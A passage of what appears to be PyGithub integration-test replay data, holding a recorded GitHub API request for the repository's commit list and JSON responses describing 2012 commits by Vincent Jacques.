Jacques","date":"2012-03-19T11:49:56-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b88afa928c59940b2c88faa1a9a9826e50ea83ef","sha":"b88afa928c59940b2c88faa1a9a9826e50ea83ef"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ce62e91268aa34dad0ba0dbee4769933e3a71e50","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"ce62e91268aa34dad0ba0dbee4769933e3a71e50","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1c88ee221b7f995855a1fdfac7d0ba19db918739","sha":"1c88ee221b7f995855a1fdfac7d0ba19db918739"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T11:37:57-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/ce62e91268aa34dad0ba0dbee4769933e3a71e50","message":"Cosmetic change in integration test","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T11:37:57-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/9e0956f8808d6a07d610e08ad585fb6593527f39","sha":"9e0956f8808d6a07d610e08ad585fb6593527f39"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1c88ee221b7f995855a1fdfac7d0ba19db918739","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"1c88ee221b7f995855a1fdfac7d0ba19db918739","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/bd1a5dff3c547c634b2d89f5847218820e343883","sha":"bd1a5dff3c547c634b2d89f5847218820e343883"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T11:35:44-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1c88ee221b7f995855a1fdfac7d0ba19db918739","message":"Commit replay data for integration test","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T11:35:44-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/14fa47c5e331f1ebdc164ff341c70fc7dcfd2d83","sha":"14fa47c5e331f1ebdc164ff341c70fc7dcfd2d83"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/bd1a5dff3c547c634b2d89f5847218820e343883","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"bd1a5dff3c547c634b2d89f5847218820e343883","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b226b5b4e2f44107dde674e7a5d3e88d4e3518df","sha":"b226b5b4e2f44107dde674e7a5d3e88d4e3518df"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T11:35:11-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/bd1a5dff3c547c634b2d89f5847218820e343883","message":"Fix integration tests","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T11:35:11-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/0cedd1c9f1986fc05f5bbfaa689d5a7fa7c7f424","sha":"0cedd1c9f1986fc05f5bbfaa689d5a7fa7c7f424"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b226b5b4e2f44107dde674e7a5d3e88d4e3518df","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"b226b5b4e2f44107dde674e7a5d3e88d4e3518df","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/25dbd4053e982402c7d92139f167dbe46008c932","sha":"25dbd4053e982402c7d92139f167dbe46008c932"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T11:17:26-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/b226b5b4e2f44107dde674e7a5d3e88d4e3518df","message":"Restore test coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T11:17:26-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/35bac621cbeebac930faeb2a5d0ae01647027b57","sha":"35bac621cbeebac930faeb2a5d0ae01647027b57"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/25dbd4053e982402c7d92139f167dbe46008c932","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"25dbd4053e982402c7d92139f167dbe46008c932","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a0cc821c1beada4aa9ca0d5218664c5372720936","sha":"a0cc821c1beada4aa9ca0d5218664c5372720936"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T11:05:18-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/25dbd4053e982402c7d92139f167dbe46008c932","message":"Fix unit tests","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T11:05:18-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/21fa30dc9c099a96fb3d3018ca04934206702931","sha":"21fa30dc9c099a96fb3d3018ca04934206702931"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a0cc821c1beada4aa9ca0d5218664c5372720936","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"a0cc821c1beada4aa9ca0d5218664c5372720936","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c1440bdf20bfeb62684c6d1779448719dce9d2df","sha":"c1440bdf20bfeb62684c6d1779448719dce9d2df"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T09:45:20-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/a0cc821c1beada4aa9ca0d5218664c5372720936","message":"Fix documentation","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T09:45:20-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/df309b8e8b9359740688f6ecdec4e16a946eedac","sha":"df309b8e8b9359740688f6ecdec4e16a946eedac"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c1440bdf20bfeb62684c6d1779448719dce9d2df","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"c1440bdf20bfeb62684c6d1779448719dce9d2df","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0909fec395bb1f97e2580d6a029cfc64b352aff9","sha":"0909fec395bb1f97e2580d6a029cfc64b352aff9"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1095d304b7fab3818dcb4c42093c8c56d3ac05e4","sha":"1095d304b7fab3818dcb4c42093c8c56d3ac05e4"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T09:36:28-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/c1440bdf20bfeb62684c6d1779448719dce9d2df","message":"Merge branch 'topic/CompleteImplementation' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T09:36:28-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/62acfc5826055bea7623e35982768674fb672bff","sha":"62acfc5826055bea7623e35982768674fb672bff"}}}] https GET api.github.com None /repos/PyGithub/PyGithub/commits?last_sha=c1440bdf20bfeb62684c6d1779448719dce9d2df&top=master {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '44844'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"b1e58b63cf08fef49b20ee7682f4eadb"'), ('date', 'Sun, 27 May 2012 06:45:59 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1095d304b7fab3818dcb4c42093c8c56d3ac05e4","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"1095d304b7fab3818dcb4c42093c8c56d3ac05e4","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/bd39726f7cf86ea7ffb33b5718241fdab5fc8f53","sha":"bd39726f7cf86ea7ffb33b5718241fdab5fc8f53"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T09:28:03-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1095d304b7fab3818dcb4c42093c8c56d3ac05e4","message":"Repository.compare","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-19T09:28:03-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/62acfc5826055bea7623e35982768674fb672bff","sha":"62acfc5826055bea7623e35982768674fb672bff"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/bd39726f7cf86ea7ffb33b5718241fdab5fc8f53","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"bd39726f7cf86ea7ffb33b5718241fdab5fc8f53","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1d2b27824d20612066d84be42d6691c66bb18ef4","sha":"1d2b27824d20612066d84be42d6691c66bb18ef4"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-18T23:40:52-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/bd39726f7cf86ea7ffb33b5718241fdab5fc8f53","message":"AuthenticatedUser.get_issues","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-18T23:40:52-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/e0cf809423855e97a1c418cd0574aceaea673e7c","sha":"e0cf809423855e97a1c418cd0574aceaea673e7c"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1d2b27824d20612066d84be42d6691c66bb18ef4","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"1d2b27824d20612066d84be42d6691c66bb18ef4","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6af2bfd0d46bc0eeb8c37b85c7b3003e0e4ae297","sha":"6af2bfd0d46bc0eeb8c37b85c7b3003e0e4ae297"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-18T23:32:34-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1d2b27824d20612066d84be42d6691c66bb18ef4","message":"Repository.get_git_tree with 'recursive'","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-18T23:32:34-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/eece2904086e172c103a3f6c72d72577947d69af","sha":"eece2904086e172c103a3f6c72d72577947d69af"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6af2bfd0d46bc0eeb8c37b85c7b3003e0e4ae297","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"6af2bfd0d46bc0eeb8c37b85c7b3003e0e4ae297","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a475d685d8ae709095d09094ea0962ac182d33f0","sha":"a475d685d8ae709095d09094ea0962ac182d33f0"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-16T23:42:54-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/6af2bfd0d46bc0eeb8c37b85c7b3003e0e4ae297","message":"Optional parameter for Repository.create_git_tree","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-16T23:42:54-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/a07df55d4e61292bfd4d344221a744bdeb837cef","sha":"a07df55d4e61292bfd4d344221a744bdeb837cef"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a475d685d8ae709095d09094ea0962ac182d33f0","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"a475d685d8ae709095d09094ea0962ac182d33f0","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a85de99ea5b5e7b38bd68e076d09c49207b8687e","sha":"a85de99ea5b5e7b38bd68e076d09c49207b8687e"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-16T00:11:07-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/a475d685d8ae709095d09094ea0962ac182d33f0","message":"On the way to alternative inputs. Still needs unit and integration testing","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-16T00:11:07-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/929c7826e4116ccc48860420e96448c0b2dba912","sha":"929c7826e4116ccc48860420e96448c0b2dba912"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a85de99ea5b5e7b38bd68e076d09c49207b8687e","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"a85de99ea5b5e7b38bd68e076d09c49207b8687e","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d24cf209ddd1758188c5f35344f76df818d09a46","sha":"d24cf209ddd1758188c5f35344f76df818d09a46"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-15T23:54:19-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/a85de99ea5b5e7b38bd68e076d09c49207b8687e","message":"dos2unix","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-15T23:54:19-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/45ab612f324d934efd24d37ec8a1a829ae9c819c","sha":"45ab612f324d934efd24d37ec8a1a829ae9c819c"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d24cf209ddd1758188c5f35344f76df818d09a46","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"d24cf209ddd1758188c5f35344f76df818d09a46","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0909fec395bb1f97e2580d6a029cfc64b352aff9","sha":"0909fec395bb1f97e2580d6a029cfc64b352aff9"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-15T23:53:33-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/d24cf209ddd1758188c5f35344f76df818d09a46","message":"Be explicit about argumentChecker object","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-15T23:53:33-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1737a3881dfa9524447b8841f441efa4d57b2e57","sha":"1737a3881dfa9524447b8841f441efa4d57b2e57"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0909fec395bb1f97e2580d6a029cfc64b352aff9","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"0909fec395bb1f97e2580d6a029cfc64b352aff9","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/50ac55b25ceba555b84709839f80447552450697","sha":"50ac55b25ceba555b84709839f80447552450697"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6e421e9e85e12008758870bc046bc2c6120af72a","sha":"6e421e9e85e12008758870bc046bc2c6120af72a"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-14T15:26:35-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0909fec395bb1f97e2580d6a029cfc64b352aff9","message":"Merge branch 'topic/MoveGithubObjects' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-14T15:26:35-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/5e1db9b1002e45cbcde2f17253233b3cf50496ad","sha":"5e1db9b1002e45cbcde2f17253233b3cf50496ad"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6e421e9e85e12008758870bc046bc2c6120af72a","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"6e421e9e85e12008758870bc046bc2c6120af72a","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/32ed0ebc377efbed5b482b3d49ff54bf1715d55a","sha":"32ed0ebc377efbed5b482b3d49ff54bf1715d55a"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-14T15:24:49-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/6e421e9e85e12008758870bc046bc2c6120af72a","message":"Separate the three distributed classes","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-14T15:24:49-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/5e1db9b1002e45cbcde2f17253233b3cf50496ad","sha":"5e1db9b1002e45cbcde2f17253233b3cf50496ad"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/32ed0ebc377efbed5b482b3d49ff54bf1715d55a","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"32ed0ebc377efbed5b482b3d49ff54bf1715d55a","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8213df1d744f251aa8e52229643a9f6ce352f3c0","sha":"8213df1d744f251aa8e52229643a9f6ce352f3c0"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-14T15:13:37-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/32ed0ebc377efbed5b482b3d49ff54bf1715d55a","message":"Move GithubObject","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-14T15:13:37-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/4836c31ec1b75e4b0145bae29cda338318b583a0","sha":"4836c31ec1b75e4b0145bae29cda338318b583a0"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8213df1d744f251aa8e52229643a9f6ce352f3c0","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"8213df1d744f251aa8e52229643a9f6ce352f3c0","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/69cc298fd159f19eb204dd09f17d31dc4abc3d41","sha":"69cc298fd159f19eb204dd09f17d31dc4abc3d41"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-14T15:07:21-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8213df1d744f251aa8e52229643a9f6ce352f3c0","message":"Simplify internal imports","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent 